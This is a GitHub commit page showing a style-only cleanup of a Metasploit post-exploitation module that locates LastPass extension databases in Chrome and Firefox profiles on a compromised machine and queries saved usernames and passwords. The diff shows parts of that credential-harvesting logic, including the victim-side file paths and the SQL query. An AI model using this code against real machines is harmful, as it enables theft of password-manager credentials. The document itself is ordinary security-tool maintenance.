Skip to content

Commit d2a00b2

Browse files
committed
Minor style cleanup to appease Rubocop
1 parent d97fe54 commit d2a00b2

File tree

1 file changed

+23
-18
lines changed

1 file changed

+23
-18
lines changed

modules/post/multi/gather/lastpass_creds.rb

Lines changed: 23 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -10,16 +10,17 @@ class Metasploit3 < Msf::Post
1010
include Msf::Post::Unix
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'LastPass Master Password Extractor',
15-
'Description' => %q{
16-
This module extracts and decrypts LastPass master login accounts and passwords.
17-
},
18-
'License' => MSF_LICENSE,
19-
'Author' => ['Alberto Garcia Illera <agarciaillera[at]gmail.com>', 'Martin Vigo <martinvigo[at]gmail.com>'],
20-
'Platform' => %w(linux osx unix win),
21-
'SessionTypes' => %w(meterpreter shell)
22-
))
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'LastPass Master Password Extractor',
17+
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
18+
'License' => MSF_LICENSE,
19+
'Author' => ['Alberto Garcia Illera <agarciaillera[at]gmail.com>', 'Martin Vigo <martinvigo[at]gmail.com>'],
20+
'Platform' => %w(linux osx unix win),
21+
'SessionTypes' => %w(meterpreter shell)
22+
)
23+
)
2324
end
2425

2526
def run
@@ -30,7 +31,7 @@ def run
3031

3132
print_status "Searching for LastPass databases..."
3233

33-
db_map = get_database_paths # Find databases and get the remote paths
34+
db_map = database_paths # Find databases and get the remote paths
3435
if db_map.empty?
3536
print_status "No databases found"
3637
return
@@ -60,7 +61,11 @@ def run
6061

6162
# Parsing/Querying the DB
6263
db = SQLite3::Database.new(loot_path)
63-
user, pass = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';").flatten
64+
user, pass = db.execute(
65+
"SELECT username, password FROM LastPassSavedLogins2 " \
66+
"WHERE username IS NOT NULL AND username != '' " \
67+
"AND password IS NOT NULL AND password != '';"
68+
).flatten
6469
credentials << [user, pass, browser] if user && pass
6570
end
6671
end
@@ -78,9 +83,9 @@ def run
7883
end
7984

8085
# Finds the databases in the victim's machine
81-
def get_database_paths
86+
def database_paths
8287
platform = session.platform
83-
existing_profiles = get_user_profiles
88+
existing_profiles = user_profiles
8489
found_dbs_map = {
8590
'Chrome' => [],
8691
'Firefox' => [],
@@ -106,7 +111,7 @@ def get_database_paths
106111
print_status "Found user: #{user_profile['UserName']}"
107112
browser_path_map = {
108113
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
109-
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
114+
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
110115
}
111116
end
112117
when /osx/
@@ -136,7 +141,7 @@ def find_db_paths(path, browser)
136141

137142
print_status "Checking in #{browser}..."
138143
if browser == "Firefox" # Special case for Firefox
139-
profiles = get_firefox_profile_files(path, browser)
144+
profiles = firefox_profile_files(path, browser)
140145
unless profiles.empty?
141146
print_good "Found #{profiles.size} profile files in Firefox"
142147
found_dbs_paths |= profiles
@@ -149,7 +154,7 @@ def find_db_paths(path, browser)
149154
end
150155

151156
# Returns the relevant information from user profiles
152-
def get_user_profiles
157+
def user_profiles
153158
user_profiles = []
154159
case session.platform
155160
when /unix|linux/
@@ -212,7 +217,7 @@ def file_paths(path, browser)
212217
end
213218

214219
# Returns the profile files for Firefox
215-
def get_firefox_profile_files(path, browser)
220+
def firefox_profile_files(path, browser)
216221
found_dbs_paths = []
217222

218223
if directory?(path)

0 commit comments

Comments
 (0)